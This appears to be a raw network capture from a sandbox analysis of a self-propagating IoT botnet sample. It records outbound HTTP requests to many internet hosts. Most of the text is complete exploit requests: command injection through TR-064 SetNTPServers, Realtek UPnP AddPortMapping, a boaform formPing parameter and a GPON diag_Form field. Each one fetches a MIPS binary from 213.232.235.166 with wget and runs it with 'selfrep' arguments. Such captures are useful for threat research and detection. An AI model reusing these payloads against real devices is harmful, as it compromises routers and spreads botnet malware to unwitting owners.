Apr 15, 2024 08:53:33.760437012 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:35.680495024 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.13	44678	178.135.97.217	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.848565102 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.13	58268	71.42.92.137	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.893604040 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.13	47498	107.147.202.121	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.924029112 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.13	42674	216.193.162.10	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.928550959 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:33.153564930 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="165c8b1fb8c53963299738134d7c3fca00054ab7",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.13	53410	24.177.155.54	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.960577011 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.13	46788	186.152.8.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:33.075995922 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.13	38688	14.74.68.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:33.076035976 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.13	43118	191.61.5.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:33.109332085 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:34.080465078 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:36.000504017 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.13	60148	181.167.147.192	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.350016117 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.13	58334	104.91.185.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.441016912 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:34.614994049 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:34 GMT Date: Mon, 15 Apr 2024 06:53:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 66 30 61 64 37 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 34 26 23 34 36 3b 32 64 61 32 35 39 66 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 66 30 61 64 37 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 34 26 23 34 36 3b 32 64 61 32 35 39 66 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8f0ad717.1713164014.2da259fa<P>https://errors.edgesuite.net/9.8f0ad717.1713164014.2da259fa</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.13	44420	23.207.96.179	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.565032005 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:34.856069088 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:34 GMT Date: Mon, 15 Apr 2024 06:53:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 39 34 37 37 62 35 63 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 34 26 23 34 36 3b 31 38 64 39 30 30 33 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 39 34 37 37 62 35 63 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 34 26 23 34 36 3b 31 38 64 39 30 30 33 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.99477b5c.1713164014.18d90037<P>https://errors.edgesuite.net/9.99477b5c.1713164014.18d90037</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.13	60040	34.124.219.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.585275888 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.13	60926	38.60.191.111	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.612335920 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:34.950599909 CEST	419	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:34 GMT Server: Apache/2.4.6 (CentOS) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.13	50218	62.77.234.138	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.689659119 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.13	39388	62.29.28.113	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.708096981 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.13	43904	62.29.79.205	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.708849907 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.13	45468	148.66.55.22	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:34.764662981 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
